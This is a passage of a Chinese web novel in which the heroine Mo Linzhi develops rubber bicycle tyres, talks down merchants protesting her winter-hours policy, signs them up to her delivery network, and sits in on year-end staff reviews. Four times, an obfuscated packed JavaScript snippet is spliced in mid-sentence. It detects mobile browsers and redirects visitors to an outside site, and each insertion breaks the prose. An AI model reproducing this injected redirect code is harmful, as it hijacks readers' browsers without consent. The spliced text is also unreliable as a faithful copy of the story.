这大实话一出，旁人是再找不到自欺欺人的理由了，这一方小天地陷入了沉默。过了会儿，一个长相文雅的小媳妇儿怯生生开口：“你们说，我们能拿着《优选》上的信息去跟东家谈条件不？” 话说出来，没人敢接。 可大冬天的温度，谁熬谁知道，过了会儿，起头抱怨的女人咬牙开口：“有这个想法的肯定不止我们几个，这样，我们私下再问问，到时候大家伙儿一条战线，一起去找管事的。” 这天一早，听说西南那边运来的橡胶到了，高兴得莫林知饭都没顾上吃，带了辆自行车就出门了。 那队人马目前都在龚煊的住处，离王府不远，十来分钟就到了。莫林知上门时，对方没有出门，就在家等着。 门一开，莫林知第一句话就是“东西在哪？我看看。” 眼睛亮闪闪的，和以往每次看到工作成果时的表情一模一样。 龚煊怀念地笑笑，径直带了她去院子里。 龚煊住的就是个两进小宅子，院落距离大门不远，莫林知没走两步就看到几桶严丝合缝的大木桶堆叠在那里，眼中兴奋更浓。按捺不住的她小跑着过去，掀开盖子一看，似奶似浆的乳白色液体映入眼帘，在莫林知的眼中全部化为了金币的符号。她伸手沾了一点，发现有点黏黏的，就知道原料没错了。 莫林知起身，看向龚煊：“送来的那些人还在吗？有没有对这个东西熟悉点的，借我用几天。” “有两人，这个东西就是在他们村子里找到的，我想着你也许用得上，就让他们一起把人带过来了。” 听听，太贴心了！！！ 莫林知拍拍人的肩膀，由衷赞叹：“你但凡周到起来真是没话说。行了，不耽搁了，那两人现在就跟我走吧。你呢？要一起去还是等实物出来再去看看？” “我就不去了，最近我们这边事情有点多，等会儿还要去李管事那边。等实物出来我再见识见识。”龚煊说完，让那群人出来，将那两人指给了莫林知认识，顺便帮她把这几桶东西运到目的地。 ——整个过程，要多利落有多利落。 真的，男人还是沉迷事业更迷人。 莫林知道了谢，心中感慨着离开了，直奔老黄的住处。 和他们这些勤劳的小蜜蜂不同，都日上三竿了，老黄还在呼呼大睡。莫林知敲了好一会儿门他才睡眼迷蒙，形象不整地来开门。 莫林知已经见怪不怪了，挥挥手就让身后的人先将东西搬进去。倒是老黄，一看这架势，眉心先皱起来了：“你这是又要整啥？” “好东西，等会儿跟你说了就知道了。” 老黄扯扯嘴角，寻思着对她来说是好东西，对自己来说就未必了。不过莫林知这人他也知道，她想做的事情，那是怎么着都要做成的，所以也懒得做无效反抗，懒洋洋地给自己倒了杯茶，静静看着她安排，坐等后续。 果然，待那些无关人等退出后，莫林知带着剩下两个拘谨的人就凑过来了：“自行车你是知道的我就不多说了，那个木桶里呢，是一种叫‘橡胶’的东西，作用很多，比如说做床垫，枕头，但这些都是次要的，最最主要的是，我需要用它做自行车的轮胎。” “现在的轮胎你也知道，木头做的，和地面硬碰硬的，很容易就损耗了。但是橡胶这种东西，它是可以凝固并具备一定弹性的！所以我想请你研究研究，看怎么能让这个橡胶变得软硬适中又耐磨，并且让它紧紧套在这个轮子外面。” 老黄：“······你可真会给我找事儿。” “能者多劳嘛，这可是利国利民的大事儿！往大了说，你的研究成果会给西南百姓一条谋生之路，往小了说，这自行车更好用了，对你来说是不是也更方便？”莫林知双手合十，一副虔诚祈求的模样，“拜托了，这个真的很重要，你需要什么尽管开口！” 老黄抓了抓脖子，一脸无奈：“我也没说不答应，那这两人是？” “哦对！他们是西南人，这个橡胶就是种在他们家附近的，我想着他们长年累月和这个打交道，或许会对你有帮助，就一起带来了。” “行，一起留着吧，有好消息了跟你说。” “还需要什么不？我再给你寻摸点人手？” “不用，出去门带上就行。”老黄打着呵欠开始轰人了，顺便让眼前杵着的两人去生火。那模样，怎么看都有些不靠谱。莫林知还想找个借口留下来再看看，突然晚香走了进来，递给了她一个信函，落笔是何梅。 莫林知狐疑打开，一眼扫过，这下也顾不上老黄这边了，只能不厌其烦地交代了几句然后匆匆离开。 信件里是何梅的求助信息，说是《优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644418|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选》发行后，因为上面提到的飞毛腿冬令时作息，引起了很多工坊商铺的工人抗议，所以那些管事来找说法了。 莫林知当初做这个决定时就料到会有这样的后果，但是让她因为这些人的异议而罔顾底下人的死活，她做不到。 北境的冬天她不知道，但是前世她冬天去过北方，知道那边室外能有多冷。城里的飞毛腿跑来跑去还能暖暖身，那村里的呢，荒郊野外的，死路上恐怕都没人知道。 所以她以第一场雪为界限，落雪后，所有的跨城递送业务暂停，短途业务改为一周送一次，每天值班的时间也选在了正午前后最暖和的几个小时。 后续还会有全套的棉大衣、皮帽、皮靴、围脖、手套下发，一人两套。自行车她也是想尽快配齐的，不过效率大概率没那么高。 这一路，莫林知心里做着最坏的预期，等踏入见闻时，看见一堆人围在会议室外探头探脑，就连林显和萧凛都站在院子里，显然在等她的样子，不由得笑了：“干什么呢？” 会议室外那群人看见她，立马作鸟兽散，哄地一下就没影了。林显和萧凛走了过来，小声说着里面的情况：“这些人走过来时我们就得了消息，刚开始态度是真的嚣张，我们怕出事，就带了几个跑腿过来看看情况。后来齐管事把他们请到了会议室里面，现在好像没什么声音了。” “嗯，我知道了。” “莫管事，实在不行，飞毛腿这边要不——”萧凛后续的话语被堵死在了莫林知的冷光中。 盯着他看了好一会儿，莫林知才收回目光，语气冷淡：“我知道你们体质好，都抗冻，也知道你们之前在军中条件比这更艰苦。但你们怎么训练是你们的事情，我只知道，我手下的，都是活生生的人，不是牲畜。” 丢下这句话，莫林知屏退两人，上前推开了会议室的大门。 一眼扫过去，满满当当的人，恐怕办公区的椅子都被搬到这儿了。一个个急赤白脸的，上首何梅一脑门子汗，齐铭稍微好点，但是笑容也很勉强。 发现没有走进去的路，莫林知干脆就站在门口了，双手环胸，眉眼疏冷地看着大家：“我是莫林知，说吧，有什么事情。” “能有什么事情，你们家这破规矩造成了多大影响不知道啊！！”一男的站起来破口大骂。 他旁边人瞅着和气很多，将人扯着坐下，然后冲莫林知笑笑：“莫管事别见怪，他就是急脾气，被底下的工人逼急眼了这才着急上火。” 旁边人也帮腔补充，反正黑脸白脸都给他们唱全了。 莫林知没说话，甚至一副没仔细听的样子，靠在门上看着门外院子，眼神都没给他们一个。见状，他们互相交换了个眼神，说着说着就消音了。 等到屋内都安静下来，莫林知这才转回头，一脸平静地开口：“事情已经发生了，收回是不可能收回的，不如说说你们其他的解决方式吧。” 107. 送上门 莫林知态度这么坚决，倒让在座这些人有些惊讶。 来之前他们就商量好了，如果她取消了这个什么“冬令时”，那自然是皆大欢喜，谁也没损失，可但凡她有一点不愿意，那就是他们讨价还价的机会了。 说实话，他们本来觉得莫林知未必会为了底下人牺牲一些利益，没想到，居然这么好说话？ 呵呵，要不怎么说女人难成大事呢，还是心太软了！ 底下人沉吟少许，上首一个年纪稍大的人开口确认：“莫管事，不是我们存心为难你，实在是大家都要吃饭，您这样做，是真的太让人为难了。” 莫林知面无表情地看向那人：“大冷天的做事效率低，你就算让他们上工，又能做多少事情呢？再者，人上工冻了一天，下工就只想炕上躺了，你哪怕手头再多货物，又能卖出多少？倒不如用‘冬令时’作为奖励机制，让他们现在抓紧时间干，等到天冷了，他们闲暇时间多了，免不了就想吃吃喝喝找点乐子，正好还能促进一波生意。” 这么个说法······倒是闻所未闻，不过听起来好像有点道理。 众人一时卡了壳，都忘了要怎么找茬争取利益了。还是刚才那个老管事，捋了捋胡须，眼中精光乍现：“莫管事说的情况，只对您自家的生意有利吧！您的手底下有飞毛腿，那些卖吃食的商家也和你们保持着密切合作，闲暇的人多了，对你来说自然是有利的，可于我这等开作坊的人，又能有什么便利呢？我不能白花钱养着一群人吧？” “只是工时减少，称不上是‘白花钱’吧？”莫林知冷声更正，而后挥挥手，一副懒得纠缠的样子，“算了，直接说你们想怎么办吧？” 老管事眯了眯眼，终于图穷匕见：“莫管事厉害，这生意都做到了全天下，咱们好歹都是北境之人，不知道方不方便，给我们行个便利？” 莫林知：······ 她缓了两秒，待确认没有领会错，脑子里缓缓打出一个问号。 引进其他商家是她对飞毛腿的第二期规划没错，之前在沧澜卖“丽颜”也证明了这条路子的可行性。可······她之前还在和林显讨论着要怎么让这些人上套呢，没想到这群人就自己钻进来了？？？ 莫林知想想前几天和林显商讨的“先吸纳小商家，然后用小商家的崛起给那些大商家增加危机感，最后他们再出面一波收割”的方案，突然有种脑细胞白死了的感觉。 是她低估了本土人的智慧和眼界了，不止如此，她好像也低估了她自己。 刚开始《见闻》出炉，大把商家观望，是因为这个东西太新太新了。但是现在不一样了，从莫林知横空出世到现在，要做的事情哪一件没成功过？可以说，她现在就是搬块石头出去找人投资，也有人愿意掏钱。 而且，《优选》和《生活》一出来，那旗帜鲜明的内容区分，让很多人一眼看到她的隐藏目的和未来前景。大家都不是初出茅庐的菜鸟了，生意场上混了几十年，为了争点客群，什么招没使过？《优选》+飞毛腿的价值，不傻的人都看得到。 更何况众所周知，前阵子的拍卖会目的之一，就是把这个模式推广到全国。 全国啊······ 这群老伙计私下早就碰过头，正发愁怎么才能上这条船呢，巧了不是，莫林知搞了个“冬令时”，给了他们发作的由头。 老管事见莫林知一直沉吟不语，心里有些着急。但他知道谈判这个事儿，谁先漏底谁吃亏，便抬手佯作喝茶，以作挡饰。 可他忍得住别人不一定忍得住，比如一开始就问责的，那是急得眼珠子都停不下来。 莫林知将所有人的神色尽收眼底，和林显交换了一个眼神，顿时粲然笑了：“方便不是不可以给，但是您也知道，这个东西现在不是我一个人就能做主的了，您想要方便，是不是也得给别人一点实惠？不然我可开不了口。” “那是自然，咱们是正经生意人，不是强盗。” “行，既然如此，那就坐下来，好好谈。”莫林知爽快道。 这话一出，刚才还隐隐剑拔弩张的氛围顿时松了，大家陆陆续续响起一些笑声，营造出一副和睦商谈的氛围来。 既然要谈，站在门口总不是个事儿，莫林知冲人群比划了一下，等他们勉力让出一条路来，这才带着林显和萧凛走进去，在上首坐下。 “《优选》和飞毛腿的情况大家应该也都清楚，我能完全做主的就是北境之地，这片区内，当然是可以行方便的。但是别的地方，你们若是想使用这个体系，将货物散至全国，恐怕就得让利了——租铺子招人手也得花钱，还不一定能赚，你们用这个体系，至少可以保证不会亏。” “那是那是，该付的钱肯定是要付的，但是具体怎么弄，还请莫管事划个章程出来。” 章程嘛······莫林知是有的。她做事一向走一步看十步，后面的规划早就写完了甚至和林显萧凛两人把成本定价佣金比例等等都核算过了。 但不能现在拿出来。 莫林知想了想，便道：“事情太突然了，不如这样，你们先留下各自生产的东西，经营的范围，给个介绍我，我下午和下属们也讨论讨论，后天再一起碰个头如何？” 底下有人脸上闪过犹疑，一副不太甘愿的样子，正要开口，就被身边人扯回去了。 最后，还是那个老管事一拍定音：“成，心急吃不了豆腐，我们也不是想做一锤子买卖，那就劳烦莫管事多上上心了。” “应该的，我也希望咱们北境能发展好。”莫林知冲老人家拱拱手，然后吩咐外面人上笔墨纸砚。 室内一时安静无话，只有“刷刷”的写字声。 大家写得有快有慢，但凡有人好了，何梅他们就会下去收起呈到莫林知面前。莫林知也不会避讳什么，当场就看起来，偶尔还会凝眉思索，自己在上面做一些批注——这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659174|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副认真的样子，倒是打消了很多人觉得她只想“敷衍了事”的猜疑。 等到所有人都停了笔，老管事不待莫林知开口就起身告辞——他们自己也知道，今天这番上门姿态，有些讨人嫌了，倒不如早早回去得好。 莫林知让何梅送大家出门，然后直接让齐铭他们坐下，将手中的资料分发到大家手上：“看看吧，争取今天定下来。” 这句话说出时，还未走远的几个管事听到了，脸上没忍住出现了笑模样，跟偷了鸡的狐狸似的。过了会儿，送完人的何梅重新回到会议室，一进门就给莫林知做了个拜服的姿势：“还得是您，三两句话就搞定了这帮老狐狸！您都不知道，刚才我和齐铭是嘴皮子都磨光了也没让这些人开口，就一个个跟木头似的杵在这儿，也不让我们进出，生怕我们跑了一样。” 莫林知一脸无奈：“新上的人事变动还不够有效，这段时间你和齐铭多露露脸，别让他们什么都找上我，烦都烦死了。” “慢慢来嘛，心急吃不了热豆腐~” “你也来我这碰瓷是吧？我告诉你们，谁也别耽误我享受生活！这业务框架都给你们搭好了，要是还不会我就趁早换人！”莫林知指着他们，玩笑似的威胁，末了敲敲桌子，回到接下来的正题，“本来嘛想着快年底了，接下来就是把该收的收收尾，好好准备年终述职，剩下的开了年再说。但是现在嘛，梯子人家主动给搭好了，再不顺着爬一爬，那可真是对不起王爷对不起大众。所以等后天和他们谈过呢，你们就带着我们之前研究过的合作契约将剩下的商家啊作坊啊都跑一跑，我们争取年前以定安城为试点，将这个业务的升级版打磨出来。” “行。” “萧凛手头的事情多，跑业务就齐铭林显你们俩互相配合，何梅作为辅助。具体怎么做我就不说了，反正契约条件和后面的执行环节我们都是分类目讨论过的，底线在哪你们心里都有数。我就定个目标，现在到放假还有1个多月，跑下60%，能达到吗？” “能！”齐铭和林显胸有成竹地应下，都不带还价的。 “行，后天的会议你们自己安排，我就负责旁听，要没其他事儿了就这样吧。” 莫林知正事一说完就整个人都松垮下来了，脸上明明白白写着“没事勿扰”四个大字。萧凛林显几人识趣地不再废话，收起东西各自出去忙了。 会议室一下子空了下来，显得寂静又喧闹，隔着墙还能听到隔壁左右的议论声。 生平头一次，她突然怀念起精钢水泥的高楼大厦来，够封闭，够隔音，不至于一点风吹草动整得沸沸扬扬的，还看起了热闹。 ······等以后，还是得弄个三四层的小楼来，《优选》和《生活》各占一层，然后会议室啊，展览室之类的也得弄一个。 不过想想现在这境况，莫林知还是叹了口气，将这个念头暂时深埋在了心底。 没办法，钱得紧着萧衍那边用啊！ 108. 抱怨 天冷了，畏寒的莫林知愈加起不来，但是睡也睡不太久，她这个体质，基本上被窝里越睡越凉，跟个冰墓似的，一天两碗雪耳都不管用。 想想今天还有个会要参加，捱了又捱的莫林知给自己做足了心理建设，然后猛地掀开被子穿衣服。 系带繁多的古装在她的畏寒体质逼迫下硬是传出了现代服饰的利落感。 “靠，躲过了春困秋乏夏打盹，最后居然倒在了冬眠这道坎上！”穿个衣服耗尽一半气血值的莫林知哆哆嗦嗦地给自己打了盆热水将手伸进去，这才由衷地舒出一口气。 “莫管事，正好，王爷和娘娘那边给您新送了几套冬装和大氅，用了上好的火狐皮子，真的是暖和亮丽极了。您今天要不穿新的？”晚香端着东西推门而入，边说着边将自己倾情推荐的那件火狐大氅抖开了。 橘红色如一团火焰似的皮毛，确实看着就暖和，莫林知应允了，她甚至不待出门就早早裹上了身。 厚实一层皮有效隔绝了周身的冷空气，过了会儿，一直在不断失温的莫林知终于感觉到了手心的暖意——连夹包子的手都肉眼可见地灵活了。 真·肉眼可见。 晚香看着整个过程，只觉得无奈又好笑：“都说了给您多点几个炭盆您非不要。” “一斤银丝碳抵得上几十斤普通木炭，就我这体质，你得点几十个才够用，还容易中毒。我啊，每天增加一点抗冻能力才是从根子上解决自身问题！”莫林知边吃边跟她说着自己接下来的规划：“现在反正有时间，从今天开始，我要每天绕这个院子跑100圈，然后跳绳，举重各200个。” 这一圈院子也就30米的样子，100圈也就k3m，加上其他的零零碎碎，基本上每天运动40分钟到1个小时，然后再拉拉伸，睡前泡个烫烫的热水澡，完美~ 食补加运动双管齐下，莫林知就不信自己这畏寒的体质改不过来！ 晚香对此是没什么意见的，身体好了，以后也更方便出门玩嘛，所以她双手双脚赞成，还保证说会做好后勤。 两人说说笑笑地干掉早饭各自收拾完，这才一起出门。 虽然提前了15分钟，但还是最后一个才到的莫林知踏入会议室，很是干脆地搬了把椅子往角落一坐，就说了一句话：“今天我就是旁听，给诸位做个见证，拿主意的呢，还是我们《见闻》的齐管事以及飞毛腿的林管事，请——” 被点到的齐铭和林显站了起来，先是冲莫林知行了礼，然后才开始讲述他们给出的入驻方案。 谈判嘛，各人有各人的性格和技巧。莫林知是爽快人，大多都是直接在底牌的基础上略微浮动一点报出去，能接受的还价余地很小，也不喜欢还来还去的，烦！ 但是齐铭和林显显然是用的“先封门再开窗”的做法，一上来开出的条件极为苛刻！所以整个沟通过程基本是他们说一条就要被驳两句再说一条再驳几句。开始争到上头的时候，那些外来管事总要cue一下莫林知，让她评理。 但莫林知怎么可能给自己揽事儿，今天这一出不就是为了树立齐铭的威信弱化自己的影响力么！她才不往上凑，所以每次打哈哈。反复几次后，那些人就知道她说的“旁观”那就真的是把自己当摆设一样了，完全靠不住！醒过神来的那些人干脆全神贯注地对付起齐铭和林显来。 双方就合作的[业务范围]、[服务提供]、[费用收取]、[结算方式]等几十个条款进行了逐一拉锯，等到最后全部商定好，何梅将最终的契约呈上来，大家签好字画了押，已经一天过去了。 这场会，开了整整5个小时，莫林知腰都快坐断了，她甚至怀疑最后大家妥协是不是因为实在坐不住了哈哈哈哈。 会后，齐铭和林显做东，请了这些管事们去吃火锅，莫林知找了个由头脱身。 明明什么都没做，但感觉整个人精气神被吸干了一样，莫名疲惫。 “所以我最讨厌的就是商务谈判这一类的工作，人均800个心眼子，还超级考验临场反应力和心算等能力，一不小心就要被坑！”路上，莫林知和晚香说着自己的工作感悟，明明什么都没吃也没喝，但她就跟醉了一样，突然有了倾诉欲，“不过今年可算是快过去了，我现在就巴不得明天把年终述职会一开，后天晚玉的服饰展览会一弄，我们就收拾收拾，每天家里蹲过年。” 晚香闻言，但笑不语。 莫林知不满：“你这什么笑容？阴阳怪气的。” “没有阴阳怪气，就是觉得您心里想要的和实际所做的挺违和的。” 莫林知闻言，有一秒怔愣。 这话她不是第一次听，她妈，最好的朋友，都说过这句话。好像也是她抱怨工作，吐露自己真正想要的生活的时候吧，母上大人就说她，让她混个日子她不肯，就光嘴上说说成天瞎忽悠人。 眼前人的面孔仿佛和那些再也见不到的人重合，莫林知恍惚笑笑，憋在心里的答案不由自主说了出来：“没办法，谁让我不是天生的天鹅呢。天鹅会飞，但我就是个丑小鸭，表面看着越端庄，底下两只脚就得扑腾得越辛苦。” 她这话和以往透露出的形象简直大相径庭，甚至有些“泯然众人”了。晚香有些错愕，没想到一直游刃有余气定神闲还淡泊名利的人，居然也会有这种普通人才有的抱怨。 晚香张了张嘴，正要安慰说“其实你做的已经够多了，就算现在什么都不做，王爷对你的心意也不会变”，话还未出口，对面人就似乎清醒了，脸上神情变换跟变戏法似的换上了欢快轻松的样子：“不过生活嘛，如果没有扑腾时候的辛苦付出作对比，那所有的鲜花掌声都将毫无意义，你说对吧？” ——倒是她一贯传递出的正能量和价值观。 晚香也立马将所有的同理心和安慰埋藏心底，随之笑了笑：“那是！您现在付出得越多，等到我们收获成果的那天会越甘甜~~” “哈哈哈哈哈哈~~”莫林知朗声笑了，引起回头无数。 两人一路慢行回家吃了个简餐，然后晚香收拾她的院子，莫林知则去了书房做述职相关的事情。过了两个时辰，应酬的晚玉也回来了，身上带着点酒气。 晚香将早就准备好的醒酒汤端给了她，见她人还没完全清醒呢，就跟莫林知似的拿起了纸笔伏在案前开始办公，忍不住叹了声气：“一个两个的都把自己搞得这么辛苦，何必呢！” 晚玉头也不抬：“虽然辛苦，但是收获也多。我做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666951|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着自己喜欢的事情，花着自己赚得的钱财，还能坐在高位和那些男人掰腕子！晚香，这样的感觉，你只要体验过，就不会再想失去。” “······这就是权利的诱惑吗？” “不，是喜欢。我真心地热爱着我所做的事情，所以我愿意为它倾尽一切。”晚玉抽空抬头，给了小伙伴一个灿烂的微笑。 不知道是不是笑容太过耀眼，所以很好地安慰到了晚香那颗拧了一晚上的心。她忍不住想，莫管事虽然偶有抱怨，但应该也是打心底喜欢这份事业的吧？毕竟，除了王爷，她还没见过谁会这么没日没夜地扑在公事上的。 深知每天过着自己不喜欢的生活是什么感觉的晚香心里稍稍宽慰些许，又给莫林知房里加了个炭盆，这才去休息。 那天会议过后莫林知就再没去过见闻，偶尔齐铭和何梅这边有相关的工作进度会托晚玉的手带给她——虽然她一直说自己要放手要放手，有什么让他们自己拿主意，但是那几个人还是会按照她以往的工作习惯，事事有始终地写好报告，让她过目。 看就看吧，反正平时闲着没事儿，就当看行业案例了。 就这样，即便看上去疏于管理，实则莫林知对近期的动态一清二楚。那天和那些商家谈拢之后，第二期《优选》就把那些商家的产品列上了排行榜和介绍位，据说卖的不错。 林显和齐铭这边也借由这个开门红敲开了不少顽固商家的大门，包括那些小型的散户等等，当然，条件肯定是没有第一批签约的那么好的。 另外，因为莫林知的“冬令时”促进了整个城池工坊商铺的上工时间改革，给普通平头百姓谋求了不少福利，所以城内居然开始宣扬起了她的美名，说她不只是“天纵奇才”，还“心怀悲悯”，“扶弱济困”之类的······莫林知听到晚玉转述时鸡皮疙瘩都起来了。 搓了搓胳膊，再看看面前两张笑吟吟一脸赞同的脸，她翻了个白眼：“别给我来这一套，要不是你们给我赚得多，让我能提前完成对赌，我才没这么好心——总而言之就是，好好干活才是硬道理。咱要什么福利都得拿数据说话对吧？！” “是是是，您说得有道理。”晚玉拖长了音附和。 “······行了，通知下去，别跟着瞎起哄，这种流言过段时间就散了。接下来重点是好好准备述职，给自己的第一年做一个完美收官。” “放心吧，大家都干劲满满地等着亮相呢~对了，《见闻》内部的述职在后天，莫管事您来吗？” 虽然是疑问句，但晚玉满脸都写着“求出席”。 这不是莫林知收到的第一个述职会出席邀请了。昨天林显也来提过，还有刚刚回来的吴大掌柜，上门拜会时也顺便提了这件事。 虽然管事/掌柜级别以下的员工述职只需要内部进行即可，但莫林知地位始终是不太一样的，她的出席，代表的意义也会有所不同。这些业务也好，内部的管理制度也好，每一件每一条都是莫林知亲手主导，一笔一划定下的规矩，按理说，这第一年，她应该出席。 所以即便不喜欢一坐一整天的会议，莫林知还是都答应下来了。 在晚香的欢呼声中，她一脸无奈地在日历上画了个圈。 109. 述职上 接下来莫林知基本就开始了赶场状态，首先是火锅店的。 最近生意好，两家店不能没人照应，所以吴大吴二两人跟莫林知商量后决定按组进行，每人限时一炷香，地点就直接采用顶楼的办公室，这样也不耽误正常营业。 主要评委就两人，吴大和吴二，莫林知只旁听，不打分。 底下人的汇报没有管理层那么复杂，因为他们日常对接的事务过于落地，且存在局限性，所以很难像掌柜管事那样，拥有全局的数据和视角去分析。即便如此，莫林知也还是能发现一些好苗子。 比如店小二，主要的业务能力在于服务。那种混日子的，自然是别人怎么做他们就怎么做，但是聪明的，会整理自己在[人文关怀]、[应急处理]、[贴心和烦扰之间的界限]三个维度的经验，就这些做一个简单又高质的分享。 还附赠数据佐证。可以说将莫林知最开始带这两家店时说过的话刻在了脑子里。 先不提这个数据到底是否具备普遍客观性，但这样的态度，让莫林知很是欣赏。 还有后厨组，有厨师长说了下对明年各个季度的新品规划，也有聪明的小工提了下对后厨流程优化的一些小建议——总体来说，这个团队，让莫林知觉得很不错。 所以最后所有人的述职结束，莫林知趁场子暂时空余的那会儿让吴大关了店门，看着底下人忐忑的表情，露出一个大大的赞赏：“我很庆幸我今天参加了这次述职，否则，就不会知道我们火锅店的团队究竟有多优秀了。” 不知道是不是夸太大了，底下人缓了2秒才反应过来，接着响起山呼海啸般的欢呼。 “谢-谢-莫-管-事-教-导——”所有人齐声大吼。 “不用，是你们自己没有停止学习和前进的脚步，也是我们两位掌柜辛苦的结果，希望明年大家还能继续保持。” “一定！” 看着他们兴高采烈精神奕奕的样子，莫林知双手向下压了压，然后继续笑道：“今天的述职每个人都表现很好，还有个别极优秀的人员，他们的分享值得在所有门店尝试推广。我和两位吴掌柜商量了一下，决定额外给出一部分奖金，作为征用买断费。所以请以下被我点到的人，继续完善你们今天的述职内容，不管是找两位掌柜也好，同事也好，请务必让它变得更全面，更具有普适性，年前交上来。” 说完莫林知就开始报名字，随着一个又一个人名被点到，底下响起一阵又一阵热烈的掌声。 其实述职的时候就是一组一组进场，所以不管是日常相处还是述职过程，出挑的人大家都有感知，对这份名单并不意外。 或许有不甘心，但没办法，人嘛，就是有天赋之差的。但没关系，今年评不上，明年继续努努力，总该能争一争了。 点完名，莫林知看着底下人一个个心向往之，积极进取的表情，满意地公布最后一项决定：“因为今年团体的努力才有了我们现在的成果，你们吴大吴二掌柜特地向我申请了一份团体奖，我应允了。所以，我在此正式宣布，今年腊月二十八不上工，我们内部提前过个年，吃个饭就放假。” “噢——” “谢谢莫管事，谢谢吴大掌柜，谢谢吴二掌柜~~” 一群人拍着桌子跺着脚，又喊又笑的，莫林知隔着门窗的雕花都看到外面有人探头探脑了。她挥手让人去将门打开，然后让大家恢复到岗位上去：“站好最后一班岗，明年再创辉煌！” “创辉煌、创辉煌、创辉煌······”一群人有节奏地呼喊着口号，斗志昂扬地各就各位去了。随着越来越多客人的进场，这个声音才渐渐止歇。 吴二那边也吩咐自己的人赶紧回分店那边，门外，莫林知最后交代两位掌柜：“年前客人多事情也多，提前闭店的消息尽量早点挂出去，我也会让《优选》那边提一下这个消息，火锅底料你们可以多备点货，我估计销量还会再暴涨一波。” “好嘞好嘞，我这两天盘算好就一一安排下去。” 莫林知“嗯”了一声，坐上马车离开。 火锅店之后就是飞毛腿。 飞毛腿她其实是没怎么和底下人打过照面的。这个物流体系她虽然看重，但并没有亲力亲为，基本上充当了一个幕后军师的角色。再说了，这里头的人大半都是另有身份的，莫林知实在不觉得，战场下来的人还有心思学着怎么经商，所以对这次述职，她并没有抱什么期望。 倒是没想到，这群人居然给她来了个自行车骑行表演。 莫林知看向身边的萧凛和林显：“······你们挺有创意啊。” 林显笑着打哈哈：“那什么，咱们的跑腿人员嘛，那首要的不就是对地形的熟悉度。莫管事您仔细看，他们地上画的都是定安城附近的地形图。” 莫林知探头看了下，好像还真是，蛮清晰详尽的。她想了想，问道：“这些地形图都有备份吗？王爷那边知道吗？” “有的，之前就整理成册给王爷汇报上去了。” “emmmmm，要不给皇城那边传个信吧，让他们也尽快摸清楚地形传一份回来。” “您放心，这一点王爷已经交代过。” 见此，莫林知点点头，就不再说什么了。果然，在政治军事这一块上，专业的就是专业的，等她想到，估计黄花菜都凉了。 想必，这样的地形图，应该也早吩咐过不要外传了。 可不能小看了这个，跑腿们平时有事没事就要出门探路，对他们来说，找到一条更快捷方便的路那就是对业绩大大的便利之处。所以这张地形图，恐怕比官方的那些还要详细，要是被别人得了去，说不定就是一个防守漏洞。 当初成立物联网时莫林知压根没考虑到这些，现在嘛，她只庆幸自己找了林显和萧凛两个好管事！有他们在，应该是出不了什么纰漏的。 自行车表演很快就结束，就在莫林知以为后面也是搞了些花头的时候，没想到他们又正儿八经地开始汇报了······还似模似样的。 莫林知听着他们关于村、镇、城的差异化解决方案，不住点头——有点东西，是她小看这些人了。 照例听林显和萧凛两人对这些人的述职做了打分，莫林知没有像昨天一样做详尽的点评，只鼓励了几句，并私下交代萧凛两人，年底的节礼多备一点。 飞毛腿和见闻不太一样，见闻的人事管理制度不适用于飞毛腿，对于这些跑腿也好，暗探也好，最需要的恐怕不是休息啊放假之类的，而是保障他们自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678831|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和家人的生活。 莫林知之前有提过类似工伤补偿、殉职补偿之类的方案，让他们自己核算成本，找些合适的机会慢慢放出去。 虽然他们是自愿将身家性命托付给北境，但只要这些人名义上是自己的员工，莫林知就做不到理所当然。 该说的说完之后莫林知就起身告辞了，踏出这片训练场时，身后突然响起众人齐齐的吼声，给她吓得一哆嗦—— “谢谢莫管事体恤！” 莫林知回头，看向场上几百号整齐肃立的壮汉们，脑中突然反应过来一个念头：刚才的自行车表演，该不会是专门为她准备的吧？ 脸上浮现出一丝笑意，她拱手弯腰，回了一礼。 之后一路走向马车时，她脸上的笑容抑制不住地越来越大，嘴角都勾到了耳朵后。 这群直男表达谢意的方式，还真是直白又可爱。 